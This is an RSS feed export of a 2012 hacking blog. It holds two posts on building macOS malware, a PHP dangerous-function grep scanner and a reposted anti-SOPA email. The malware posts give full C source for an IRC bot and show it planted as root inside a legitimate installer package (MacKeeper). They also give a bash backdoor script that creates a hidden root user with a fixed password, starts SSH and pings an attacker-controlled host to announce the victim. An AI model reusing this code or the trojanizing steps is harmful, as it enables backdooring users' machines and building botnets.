<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ForkBombers</title>
	<atom:link href="http://forkbombers.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://forkbombers.com</link>
	<description>What is is what must be.</description>
	<lastBuildDate>Wed, 01 Feb 2012 17:25:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Simple OSX Malware Continued!</title>
		<link>http://forkbombers.com/2012/02/01/simple-osx-malware-continued/</link>
		<comments>http://forkbombers.com/2012/02/01/simple-osx-malware-continued/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 04:20:50 +0000</pubDate>
		<dc:creator>jake</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[OSX]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://forkbombers.com/?p=37</guid>
		<description><![CDATA[So to go slightly deeper into OSX malware, let&#8217;s see if we can compile a custom binary and drop it into a pre-existing package&#8230; I&#8217;m going to be compiling a simple IRC bot, you&#8217;ll see the random nick generation etc has been omitted however this could easily be modified in a real world scenario to [...]]]></description>
			<content:encoded><![CDATA[<p>So to go slightly deeper into OSX malware, let&#8217;s see if we can compile a custom binary and drop it into a pre-existing package&#8230;</p>
<p>I&#8217;m going to be compiling a simple IRC bot, you&#8217;ll see the random nick generation etc has been omitted however this could easily be modified in a real world scenario to perform pretty much anything you&#8217;d like it to. At the moment it will allow you to log in and op yourself on a channel.</p>
<p>Code below.</p>
<p><span id="more-37"></span></p>
<p>[C]</p>
<p>#include &lt;sys/types.h&gt;</p>
<p>#include &lt;sys/socket.h&gt;</p>
<p>#include &lt;sys/time.h&gt;</p>
<p>#include &lt;sys/select.h&gt;</p>
<p>#include &lt;netinet/in.h&gt;</p>
<p>#include &lt;arpa/inet.h&gt;</p>
<p>#include &lt;time.h&gt;</p>
<p>#include &lt;string.h&gt;</p>
<p>#include &lt;strings.h&gt;</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#include &lt;stdlib.h&gt;</p>
<p>#include &lt;ctype.h&gt;</p>
<p>#include &lt;netdb.h&gt;</p>
<p>#include &lt;stdarg.h&gt;</p>
<p>#include &lt;unistd.h&gt;</p>
<p>#define PASSWORD &#8220;p&#8221;</p>
<p>#define CMDPREFIX &#8220;.&#8221;</p>
<p>#define IRCSERV &#8220;irc.x.org&#8221;</p>
<p>#define IRCPORT 6667</p>
<p>#define IRCCHAN &#8220;#channel&#8221;</p>
<p>#define IRCPASS &#8220;&#8221;</p>
<p>#define BOTNICK &#8220;bot&#8221;</p>
<p>int sock;</p>
<p>char logged_in[64];</p>
<p>int irc_send(char *Format, &#8230;)</p>
<p>{</p>
<p>va_list va;</p>
<p>char buf[1024];</p>
<p>memset(buf,0,sizeof(buf));</p>
<p>va_start(va, Format);</p>
<p>vsprintf(buf, Format, va);</p>
<p>va_end(va);</p>
<p>printf(&#8220;%s&#8221;, buf);</p>
<p>return send(sock, buf, strlen(buf), 0);</p>
<p>}</p>
<p>char *host_addr(const char *addr)</p>
<p>{</p>
<p>/* performs host resolution, pass NULL to get local ip */</p>
<p>struct hostent *he = NULL;</p>
<p>char address[64];</p>
<p>if (addr == NULL)</p>
<p>strcpy(address, &#8220;&#8221;);</p>
<p>else</p>
<p>strcpy(address, addr);</p>
<p>he = gethostbyname(address);</p>
<p>if(he == NULL)</p>
<p>return NULL;</p>
<p>return inet_ntoa(*(struct in_addr *) he-&gt;h_addr_list[0]);</p>
<p>}</p>
<p>////////////////////////////////////////////////////////////////////////</p>
<p>// Establishes a connection to the IRC server.</p>
<p>//</p>
<p>int irc_connect()</p>
<p>{</p>
<p>struct sockaddr_in addr;</p>
<p>addr.sin_addr.s_addr = inet_addr(host_addr(IRCSERV));</p>
<p>addr.sin_family = AF_INET;</p>
<p>addr.sin_port = htons(IRCPORT);</p>
<p>sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);</p>
<p>if (connect(sock, (struct sockaddr *)&amp;addr, sizeof(addr)) == -1)</p>
<p>return 0;</p>
<p>if (strlen(IRCPASS))</p>
<p>irc_send(&#8220;PASS %s\r\n&#8221;, IRCPASS);</p>
<p>irc_send(&#8220;USER %s . . :bitchx\r\n&#8221;, BOTNICK);</p>
<p>irc_send(&#8220;NICK %s\r\n&#8221;, BOTNICK);</p>
<p>sleep(10);</p>
<p>irc_send(&#8220;JOIN %s\r\n&#8221;, IRCCHAN);</p>
<p>return 1;</p>
<p>}</p>
<p>////////////////////////////////////////////////////////////////////////</p>
<p>// Parse data for \n into chunks to be processed for command</p>
<p>// processing.</p>
<p>//</p>
<p>int irc_read(char *buffer, size_t size)</p>
<p>{</p>
<p>char *result;</p>
<p>unsignedshort len;</p>
<p>char msg_from[256], msg_type[16], msg_to[64], msg_data[512];</p>
<p>printf(&#8220;%s&#8221;, buffer);</p>
<p>/* parse multiple lines */</p>
<p>if ((result = strtok(buffer, &#8220;\n&#8221;)) != NULL)</p>
<p>{</p>
<p>do</p>
<p>{</p>
<p>/* pong back to the server */</p>
<p>if (!strncasecmp(result, &#8220;PING &#8220;, 5))</p>
<p>{</p>
<p>result[1] = &#8216;O&#8217;;</p>
<p>irc_send(&#8220;%s\n&#8221;, result);</p>
<p>}</p>
<p>else</p>
<p>{</p>
<p>char *cr;</p>
<p>/* check for leading : then remove it and initialize msgd */</p>
<p>if (result[0] != &#8216;:&#8217;)</p>
<p>return -1;</p>
<p>result++;</p>
<p>/* fill msgd.from with 1st parameter */</p>
<p>len = strstr(result, &#8221; &#8220;) &#8211; result;</p>
<p>if (len &lt; 1 || len &gt; sizeof(msg_from)-1)</p>
<p>return -1;</p>
<p>strncpy(msg_from, result, len);</p>
<p>result = result+len+1;</p>
<p>/* fill msgd.type with 2nd parameter and make it all uppercase */</p>
<p>len = strstr(result, &#8221; &#8220;) &#8211; result;</p>
<p>if (len &lt; 1 || len &gt; sizeof(msg_type)-1)</p>
<p>return -1;</p>
<p>strncpy(msg_type, result, len);</p>
<p>result = result+len+1;</p>
<p>for (len = 0; len &lt; strlen(msg_type); len++)</p>
<p>msg_type[len] = toupper(msg_type[len]);</p>
<p>/* if there is a 3rd parameter then fill msgd.to with it */</p>
<p>if (result[0] != &#8216;:&#8217;)</p>
<p>{</p>
<p>len = strstr(result, &#8221; &#8220;) &#8211; result;</p>
<p>if (len &lt; 1 || len &gt; sizeof(msg_to)-1)</p>
<p>return -1;</p>
<p>strncpy(msg_to, result, len);</p>
<p>result = result+len+1;</p>
<p>}</p>
<p>else</p>
<p>result++; /* strip leading : */</p>
<p>/* fill msgd.data with the remainder of the buffer */</p>
<p>if (result[0] == &#8216;:&#8217;)</p>
<p>result++; /* strip leading : */</p>
<p>if (strlen(result))</p>
<p>strncpy(msg_data, result, sizeof(msg_data) &#8211; 1);</p>
<p>if ( (cr = strrchr(msg_data, &#8216;\r&#8217;)) != NULL)</p>
<p>cr[0] = 0;</p>
<p>/* send msgd to be parsed further */</p>
<p>irc_parse(msg_from, msg_type, msg_to, msg_data);</p>
<p>}</p>
<p>}while((result = strtok(NULL, &#8220;\n&#8221;)) != NULL);</p>
<p>}</p>
<p>}</p>
<p>int irc_parse(char *msg_from, char *msg_type, char *msg_to, char *msg_data)</p>
<p>{</p>
<p>long len;</p>
<p>char *buf = msg_data;</p>
<p>char nick[32], user[32], host[128], chan[64];</p>
<p>if (!strcmp(msg_type, &#8220;451&#8243;))</p>
<p>{</p>
<p>irc_send(&#8220;USER %s . . :gucciman\r\n&#8221;, BOTNICK);</p>
<p>irc_send(&#8220;NICK %s\r\n&#8221;, BOTNICK);</p>
<p>return 0;</p>
<p>}</p>
<p>///////////////////////////////////////////////////////////</p>
<p>//               PARSED MESSAGE HANDLER                  //</p>
<p>///////////////////////////////////////////////////////////</p>
<p>/* parse through data to fill variables */</p>
<p>buf = msg_from;</p>
<p>if (strcmp(msg_type, &#8220;PRIVMSG&#8221;))</p>
<p>return 0;</p>
<p>if (!strlen(msg_data))</p>
<p>return 0;</p>
<p>/* extract the nick from the buffer and fill ui struct */</p>
<p>if ((len = strstr(buf, &#8220;!&#8221;) &#8211; buf) &lt; 1)</p>
<p>return 0;</p>
<p>if (len &gt; (sizeof(nick) &#8211; 1))</p>
<p>len = sizeof(nick) &#8211; 1;</p>
<p>strncpy(nick, buf, len);</p>
<p>buf = buf+len+1;</p>
<p>/* extract the ident from the buffer and fill ui struct */</p>
<p>if ((len = strstr(buf, &#8220;@&#8221;) &#8211; buf) &lt; 1)</p>
<p>return 0;</p>
<p>if (len &gt; (sizeof(user) &#8211; 1))</p>
<p>len = sizeof(user) &#8211; 1;</p>
<p>strncpy(user, buf, len);</p>
<p>buf = buf+len+1;</p>
<p>/* copy the remainder of the buffer into ui struct */</p>
<p>strncpy(host, buf, sizeof(host) &#8211; 1);</p>
<p>strncpy(chan, IRCCHAN, sizeof(chan) &#8211; 1);</p>
<p>irc_cmd(nick, user, host, chan, msg_data, msg_type);</p>
<p>return 0;</p>
<p>}</p>
<p>////////////////////////////////////////////////////////////////////////</p>
<p>// Main command parsing and processing function. Breaks the message</p>
<p>// down into parameters and dispatches them to their associated</p>
<p>// set of code for processing.</p>
<p>//</p>
<p>int irc_cmd(char *nick, char *user, char *host, char *chan, char *msg_data, char *msg_type)</p>
<p>{</p>
<p>/* handle command processing */</p>
<p>char ctcp_time[] = &#8220;\001TIME\001&#8243;;</p>
<p>char ctcp_version[] = &#8220;\001VERSION\001&#8243;;</p>
<p>char param[9][128];</p>
<p>char *buf = msg_data;</p>
<p>unsignedint k;</p>
<p>long len = 0;</p>
<p>/* VERSION */</p>
<p>if (!strncmp(buf, ctcp_version, sizeof(ctcp_version) &#8211; 1))</p>
<p>{</p>
<p>irc_send(&#8220;NOTICE %s :\001VERSION eggdrop v2.0.1\001\r\n&#8221;, nick);</p>
<p>return 0;</p>
<p>}</p>
<p>/* TIME */</p>
<p>if (!strncmp(buf, ctcp_time, sizeof(ctcp_time) &#8211; 1))</p>
<p>{</p>
<p>struct tm *gmt;</p>
<p>time_t gtime;</p>
<p>time(&amp;gtime);</p>
<p>gmt = gmtime(&amp;gtime);</p>
<p>irc_send(&#8220;NOTICE %s :\001TIME %s\001\r\n&#8221;, nick, asctime(gmt));</p>
<p>return 0;</p>
<p>}</p>
<p>///////////////////////////////////////////////////////////</p>
<p>//                        INIT                           //</p>
<p>///////////////////////////////////////////////////////////</p>
<p>/* set variables to null and copy the message into the buffer for processing */</p>
<p>memset(&amp;param, 0, sizeof(param));</p>
<p>if ( strncmp(buf, CMDPREFIX, strlen(CMDPREFIX)) )</p>
<p>return 0;</p>
<p>/* copy the command and parameters into param[1-8] */</p>
<p>for (k = 0; k &lt; (sizeof(param) / sizeof(param[0])); k++)</p>
<p>{</p>
<p>/* strip leading command prefix */</p>
<p>if (k == 0)</p>
<p>{</p>
<p>if ( !strncmp(buf, CMDPREFIX, strlen(CMDPREFIX)) )</p>
<p>buf+=strlen(CMDPREFIX);</p>
<p>}</p>
<p>/* length is the location of the first 20h minus the location of the start of string */</p>
<p>if (strstr(buf, &#8221; &#8220;))</p>
<p>len = strstr(buf, &#8221; &#8220;) &#8211; buf;</p>
<p>else</p>
<p>len = 0;</p>
<p>if (len &lt; 1)</p>
<p>break;</p>
<p>if (len &gt;= sizeof(param[0]))</p>
<p>strncpy(param[k], buf, len &#8211; sizeof(param[0]) &#8211; 1);</p>
<p>else</p>
<p>strncpy(param[k], buf, len);</p>
<p>buf = buf+len+1;</p>
<p>}</p>
<p>if (strlen(buf))</p>
<p>strncpy(param[k], buf, sizeof(param[k]));</p>
<p>/* .login &lt;password&gt; &#8211; request login using password */</p>
<p>if (!strcmp(param[0], &#8220;login&#8221;))</p>
<p>{</p>
<p>if (!strlen(param[1]))</p>
<p>return 0;</p>
<p>if (!strcmp(PASSWORD, param[1]))</p>
<p>{</p>
<p>strcpy(logged_in, PASSWORD);</p>
<p>irc_send(&#8220;PRIVMSG %s :You have been logged in.\r\n&#8221;, chan);</p>
<p>}</p>
<p>else</p>
<p>memset(&amp;logged_in, 0, sizeof(logged_in));</p>
<p>return 0;</p>
<p>}</p>
<p>///////////////////////////////////////////////////////////</p>
<p>//                       LOGGED                          //</p>
<p>///////////////////////////////////////////////////////////</p>
<p>/* drop request if not logged in */</p>
<p>if (strcmp(PASSWORD, logged_in))</p>
<p>return 0;</p>
<p>/* .op &lt;nick&gt; */</p>
<p>if (!strcmp(param[0], &#8220;op&#8221;))</p>
<p>{</p>
<p>irc_send(&#8220;MODE %s +o %s\r\n&#8221;, chan, nick);</p>
<p>return 0;</p>
<p>}</p>
<p>return 0;</p>
<p>}</p>
<p>int main(int argc, char *argv[])</p>
<p>{</p>
<p>fd_set fds;</p>
<p>time_t tov_count;</p>
<p>double bot_tov = 0;</p>
<p>time_t sock_tov;</p>
<p>struct timeval tv;</p>
<p>/* initialize data values */</p>
<p>srand(time(NULL));</p>
<p>memset(&amp;tv, 0, sizeof(tv));</p>
<p>tv.tv_sec = 1;</p>
<p>/* start main socket read loop */</p>
<p>while(1)</p>
<p>{</p>
<p>/* setup socket for select() model */</p>
<p>FD_ZERO(&amp;fds);</p>
<p>FD_SET(sock, &amp;fds);</p>
<p>select(0, &amp;fds, NULL, NULL, &amp;tv);</p>
<p>/* store time for timeout value and check it */</p>
<p>time(&amp;tov_count);</p>
<p>bot_tov = difftime(tov_count, sock_tov);</p>
<p>/* bot timed out, reconnect: else check for process data packet */</p>
<p>if (bot_tov &gt; 200)</p>
<p>{</p>
<p>close(sock);</p>
<p>irc_connect();</p>
<p>time(&amp;sock_tov);</p>
<p>}</p>
<p>else if (FD_ISSET(sock, &amp;fds))</p>
<p>{</p>
<p>int len;</p>
<p>char buffer[2048];</p>
<p>/* reset socket read time and initialize buffer */</p>
<p>memset(buffer, 0, sizeof(buffer));</p>
<p>len = recv(sock, buffer, sizeof(buffer)-1, 0);</p>
<p>/* error reading from socket: reconnect and reset socket read time */</p>
<p>if (len &lt;= 0)</p>
<p>{</p>
<p>close(sock);</p>
<p>irc_connect();</p>
<p>time(&amp;sock_tov);</p>
<p>}</p>
<p>time(&amp;sock_tov);</p>
<p>/* send data for processing */</p>
<p>irc_read(buffer, strlen(buffer));</p>
<p>}</p>
<p>}</p>
<p>return 0;</p>
<p>}</p>
<p>[/C]</p>
<p>Now we have our source, let&#8217;s compile!</p>
<p><img title="Screen Shot 2012-01-31 at 02.07.08.png" src="http://forkbombers.com/wp-content/uploads/2012/02/Screen-Shot-2012-01-31-at-02.07.08.png" alt="Screen Shot 2012 01 31 at 02 07 08" width="600" height="284" border="0" /></p>
<p>Excellent, compiled with no errors.</p>
<p>Now we&#8217;re going to see if we can add this binary to an existing pkg file without disrupting it&#8217;s existing workflow… let&#8217;s use MacKeeper as an example and open it with Package Maker.</p>
<p><img title="Screen Shot 2012-01-31 at 02.12.17.png" src="http://forkbombers.com/wp-content/uploads/2012/02/Screen-Shot-2012-01-31-at-02.12.17.png" alt="Screen Shot 2012 01 31 at 02 12 17" width="600" height="487" border="0" /></p>
<p>We set our drop location for the binary to /usr/bin and make sure it requires admin auth.</p>
<p><img title="Screen Shot 2012-01-31 at 02.12.44.png" src="http://forkbombers.com/wp-content/uploads/2012/02/Screen-Shot-2012-01-31-at-02.12.44.png" alt="Screen Shot 2012 01 31 at 02 12 44" width="600" height="487" border="0" /></p>
<p>Changing out owner / group to the highest privs possible.</p>
<p><img title="Screen Shot 2012-01-31 at 02.13.53.png" src="http://forkbombers.com/wp-content/uploads/2012/02/Screen-Shot-2012-01-31-at-02.13.53.png" alt="Screen Shot 2012 01 31 at 02 13 53" width="600" height="487" border="0" /></p>
<p>Our post run script which is a very simple:</p>
<p>[bash]</p>
<p>#!/bin/sh</p>
<p>/usr/bin/bot</p>
<p>[/bash]</p>
<p>Now to run the installer and watch the results! Note the window titles and etc I didn&#8217;t care to set as this is a proof of concept. An attacker would do everything they could to make the package seem legitimate.</p>
<p><img title="Screen Shot 2012-01-31 at 02.15.38.png" src="http://forkbombers.com/wp-content/uploads/2012/02/Screen-Shot-2012-01-31-at-02.15.38.png" alt="Screen Shot 2012 01 31 at 02 15 38" width="600" height="452" border="0" /></p>
<p>And what happens?</p>
<p><img title="Screen Shot 2012-01-31 at 02.16.02.png" src="http://forkbombers.com/wp-content/uploads/2012/02/Screen-Shot-2012-01-31-at-02.16.02.png" alt="Screen Shot 2012 01 31 at 02 16 02" width="600" height="356" border="0" /></p>
<p><img title="Screen Shot 2012-01-31 at 02.17.02.png" src="http://forkbombers.com/wp-content/uploads/2012/02/Screen-Shot-2012-01-31-at-02.17.02.png" alt="Screen Shot 2012 01 31 at 02 17 02" width="600" height="286" border="0" /></p>
<p>File dropped and executed just as we&#8217;d planned. Seeing as the majority of OSX users don&#8217;t use an AV solution I&#8217;m surprised malware isn&#8217;t a lot more widespread!</p>
]]></content:encoded>
			<wfw:commentRss>http://forkbombers.com/2012/02/01/simple-osx-malware-continued/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Just received a very cool email in regards to SOPA / PIPA</title>
		<link>http://forkbombers.com/2012/02/01/27/</link>
		<comments>http://forkbombers.com/2012/02/01/27/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 04:17:51 +0000</pubDate>
		<dc:creator>jake</dc:creator>
				<category><![CDATA[Intranets]]></category>

		<guid isPermaLink="false">http://forkbombers.com/?p=27</guid>
		<description><![CDATA[Really enjoyed reading it and thought it was worth a re-publish. Sent to me by the cool people at www.fightforthefuture.org Now that Congress has had time to process last week&#8217;s internet blackout, a consensus has emerged: SOPA and PIPA are toxic for politicians, and going anywhere near them could cost them their re-election. Freedom is [...]]]></description>
			<content:encoded><![CDATA[<p>Really enjoyed reading it and thought it was worth a re-publish. Sent to me by the cool people at www.fightforthefuture.org</p>
<blockquote><p>Now that Congress has had time to process last week&#8217;s internet blackout, a consensus has emerged: SOPA and PIPA are toxic for politicians, and going anywhere near them could cost them their re-election.</p>
<p><span id="more-27"></span></p>
<p><strong>Freedom is winning.</strong></p>
<p>Together, we&#8217;ve done something amazing&#8211; never have so many people stood up to defend a free and open internet.  Here&#8217;s a San Francisco Chronicle article about how it all came together: <a href="http://act.fightforthefuture.org/page/m/2e1f208d/1d3c7125/70476571/f863f34/2964097664/VEsH/"><strong>The Largest Online Protest in History Started Here</strong></a>.</p>
<p>And here&#8217;s Carl Franzen at Talking Points Memo:</p>
<p>&#8220;Behind the scenes, Hill staffers from both sides of the aisle confirmed to TPM that the entire piracy debate had become so &#8216;toxic&#8217; that virtually no lawmakers were likely to be ready to re-engage it anytime soon.&#8221;</p>
<p>Experienced Congress-watchers are telling us they&#8217;ve never seen anything like this.</p>
<p>Internet users, tech companies, and non-profits joined together to defend fundamental rights on the internet. To a lot of elites in Congress and the corporate world, the internet is just something that lazy teenagers use to spam people with pictures of photoshopped unicorns. The blackout showed that the peer-to-peer internet is about empowerment, and that when we work together we can defeat the corrupt politics of Washington D.C.</p>
<p><a href="http://act.fightforthefuture.org/page/m/2e1f208d/1d3c7125/70476571/f863f35/2964097664/VEsE/">The New York Times</a> and <a href="http://act.fightforthefuture.org/page/m/2e1f208d/1d3c7125/70476571/f863f32/2964097664/VEsF/">Talking Points Memo</a> have both published good articles on how the web blackout was organized.</p>
<p>For months, four senators were the only force blocking passage of PIPA/SOPA. They even promised to filibuster the bill back when most politicians were against them. We need to make sure we support and vote for leaders like them who are willing to going to go out on a limb and oppose SOPA before it was popular to do so. It&#8217;s great that we pressured all those other shlubs into opposing web censorship, but these guys deserve the real cred and our support: <a href="http://act.fightforthefuture.org/page/m/2e1f208d/1d3c7125/70476571/f863f33/2964097664/VEsC/">Click here to donate</a> (scroll down).</p>
<p>What&#8217;s next?  The Fight is not over, already new threats to web freedom are starting to emerge (particularly in Europe) and we&#8217;re getting ready.  Stay tuned, and for more updates, <a href="http://act.fightforthefuture.org/page/m/2e1f208d/1d3c7125/70476571/f863f30/2964097664/VEsD/">follow us on Twitter</a> and <a href="http://act.fightforthefuture.org/page/m/2e1f208d/1d3c7125/70476571/f863f31/2964097664/VEsA/">Facebook</a>.</p>
<p>Thank you again for standing up for a free and open internet!</p>
<p>- Donny and Fight for the Future</p></blockquote>
<p>Need I say more? (win)</p>
]]></content:encoded>
			<wfw:commentRss>http://forkbombers.com/2012/02/01/27/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vulnerable Function Finder (PHP)</title>
		<link>http://forkbombers.com/2012/02/01/vulnerable-function-finder-php/</link>
		<comments>http://forkbombers.com/2012/02/01/vulnerable-function-finder-php/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 03:51:53 +0000</pubDate>
		<dc:creator>jake</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://forkbombers.com/?p=13</guid>
		<description><![CDATA[So I quickly threw this together to scan for functions recursively and output results. Will also add to code page and update as I see fit. [bash] #!/bin/bash echo &#8220;jakes quick PHP function finder&#8221; echo &#8220;all results will be placed in files with their respective names&#8221; echo &#8220;Enter the full path to the directory you [...]]]></description>
			<content:encoded><![CDATA[<p>So I quickly threw this together to scan for functions recursively and output results. Will also add to code page and update as I see fit.</p>
<p><span id="more-13"></span></p>
<p>[bash]</p>
<p>#!/bin/bash</p>
<p>echo &#8220;jakes quick PHP function finder&#8221;</p>
<p>echo &#8220;all results will be placed in files with their respective names&#8221;</p>
<p>echo &#8220;Enter the full path to the directory you want to scan and press [ENTER]:&#8221;</p>
<p>read path</p>
<p>echo &#8220;Scanning for MySQL injection&#8221;</p>
<p>echo &#8220;1/1&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;mysql_query(&#8221; &#8220;$path&#8221; &gt; mysql-query.txt</p>
<p>echo &#8220;Done&#8221;</p>
<p>echo &#8220;Scanning for local / remote file inclusion&#8221;</p>
<p>echo &#8220;1/4&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;include(&#8221; &#8220;$path&#8221; &gt; include.txt</p>
<p>echo &#8220;2/4&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;require_once(&#8221; &#8220;$path&#8221; &gt; require-once.txt</p>
<p>echo &#8220;3/4&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;include(&#8221; &#8220;$path&#8221; &gt; include.txt</p>
<p>echo &#8220;4/4&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;include_once(&#8221; &#8220;$path&#8221; &gt; include-once.txt</p>
<p>echo &#8220;Done&#8221;</p>
<p>echo &#8220;Scanning for command exec&#8221;</p>
<p>echo &#8220;1/7&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;eval(&#8221; &#8220;$path&#8221; &gt; eval.txt</p>
<p>echo &#8220;2/7&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;preg_replace(&#8221; &#8220;$path&#8221; &gt; preg-replace.txt</p>
<p>echo &#8220;3/7&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;fwrite(&#8221; &#8220;$path&#8221; &gt; fwrite.txt</p>
<p>echo &#8220;4/7&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;passthru(&#8221; &#8220;$path&#8221; &gt; passthru.txt</p>
<p>echo &#8220;5/7&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;file_get_contents(&#8221; &#8220;$path&#8221; &gt; file-get-contents.txt</p>
<p>echo &#8220;6/7&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;shell_exec(&#8221; &#8220;$path&#8221; &gt; shell-exec.txt</p>
<p>echo &#8220;7/7&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;system(&#8221; &#8220;$path&#8221; &gt; system.txt</p>
<p>echo &#8220;Done&#8221;</p>
<p>echo &#8220;Scanning for file system bugs&#8221;</p>
<p>echo &#8220;1/6&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;fopen(&#8221; &#8220;$path&#8221; &gt; fopen.txt</p>
<p>echo &#8220;2/6&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;readfile(&#8221; &#8220;$path&#8221; &gt; readfile.txt</p>
<p>echo &#8220;3/6&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;glob(&#8221; &#8220;$path&#8221; &gt; glob.txt</p>
<p>echo &#8220;4/6&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;file(&#8221; &#8220;$path&#8221; &gt; file.txt</p>
<p>echo &#8220;5/6&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;popen(&#8221; &#8220;$path&#8221; &gt; popen.txt</p>
<p>echo &#8220;6/6&#8243;</p>
<p>grep -A3 -B3 -r -n &#8220;exec(&#8221; &#8220;$path&#8221; &gt; exec.txt</p>
<p>echo &#8220;Done&#8221;</p>
<p>echo &#8220;Finished scanning&#8221;</p>
<p>exit</p>
<p>[/bash]</p>
]]></content:encoded>
			<wfw:commentRss>http://forkbombers.com/2012/02/01/vulnerable-function-finder-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simple OSX Malware!</title>
		<link>http://forkbombers.com/2012/02/01/simple-osx-malware/</link>
		<comments>http://forkbombers.com/2012/02/01/simple-osx-malware/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 03:39:27 +0000</pubDate>
		<dc:creator>jake</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[OSX]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://forkbombers.com/?p=5</guid>
		<description><![CDATA[Being an avid (sp?) OSX user I often wonder about malware on this platform, I must admit I’ve never given it much thought and as far as I’m aware (fingers crossed) I’ve never been affected by malware of any sort on my trusty MacBook. First things first this got me to thinking, if I had [...]]]></description>
			<content:encoded><![CDATA[<p>Being an avid (sp?) OSX user I often wonder about malware on this platform, I must admit I’ve never given it much thought and as far as I’m aware (fingers crossed) I’ve never been affected by malware of any sort on my trusty MacBook.</p>
<p>First things first this got me to thinking, if I had some form of malware for OSX what would be the best way to distribute it? There are many options which immediately spring to mind however one stands proud. Backdooring some legitimate software package so the malware will run invisible to the end user. This should be even easier as most people (myself included) don’t bother running any AV solutions on their OSX installs.</p>
<p>Let’s take a look at an easy way to include some evil code inside some innocent looking package.</p>
<p><span id="more-5"></span></p>
<p>First off let’s create a simple bash script to perform the tasks which we need performed. I will comment it so it’s easy to understand what each section does. Our workflow is as follows.</p>
<ul>
<li>. Create user account with root privileges which is hidden</li>
<li>. Start some service which allows us remote access to the machine</li>
<li>. Set up some way of the machine letting us know where it is (ip address) as we’re going to be spreading our payload to random machines</li>
</ul>
<p>I’ll add more features in future, the ones I’d like off the top of my head.</p>
<ul>
<li>. Connect back to CNC server (botnet-like)</li>
<li>. Automatically retrieve updated versions of our malware on startup</li>
<li>. Self defence mechanism, possibly through cron or a backdoor in other plist file, need to think about this one</li>
</ul>
<p>Now let’s get started. The easiest way to achieve what we want to do is to create a bash script which will add a hidden user account, enable certain services (SSH) and ping a host we control to let us know it’s live.</p>
<p>&nbsp;</p>
<p>Googling OSX commands I stumbled across this website where the guy was doing something similar except generating payloads with Metasploit, stole a part of his script (the user creation) and I suggest you check his blog out, some very cool material on there.</p>
<p><a href="http://www.darkoperator.com/">http://www.darkoperator.com</a></p>
<p>Here’s our Bash script we’re going to package with a legitimate installer..</p>
<p>[bash]</p>
<p>&nbsp;</p>
<p>#!/bin/sh</p>
<p>dscl . -create /Users/dark</p>
<p>dscl . -create /Users/dark UserShell /bin/bash</p>
<p>dscl . -create /Users/toddharris RealName “Darkoperator”</p>
<p>dscl . -create /Users/toddharris UniqueID 0</p>
<p>dscl . -create /Users/toddharris PrimaryGroupID 0</p>
<p># Creates user and sets privs</p>
<p>dscl . -passwd /Users/dark P@55w0rd</p>
<p>dscl . -create /Users/dark NFSHomeDirectory /Users/dark</p>
<p>mkdir /Users/dark</p>
<p>chown dark:staff /Users/dark</p>
<p>chflags hidden /Users/dark</p>
<p># Creates homedir, hides it, passwords user we created</p>
<p># Now to start sshd</p>
<p>/usr/libexec/sshd-keygen-wrapper</p>
<p>/usr/sbin/sshd</p>
<p># Now we’re going to ping a remote host</p>
<p>ping -c 3 captureserver.com exit [/bash]</p>
<p>The idea behind the ping is I’m just lazy and it works. Very easy to capture these requests in Wireshark or etc. :)</p>
<p>&nbsp;</p>
<p>Now we have our script which will do everything we need to gain remote access to the machine all we need to do is package it!</p>
<p>Built into OSX is a utility called PackageMaker, it’s similar to iexpress for Windows&#8230; :3</p>
<p>For the purposes of this post I will be using an entirely different bash script which will simple create some directories, we can then check for their existence to be sure this method is viable. As we&#8217;re going to ask the installer to escalate the privileges this shouldn&#8217;t be a problem.</p>
<p>[bash] #!/bin/sh mkdir /testing/ exit [/bash]</p>
<p>Now I&#8217;m going to build a pkg file with a random dmg image inside it which should be dropped in &#8220;/&#8221; on completion. Of course with slight modification you could make this process a lot more transparent to the end user however no need for that here.</p>
<p>To save on taking a heap of screenshots I&#8217;ve made a nice video instead :) You can clearly see the process and see the bash script has successfully executed!</p>
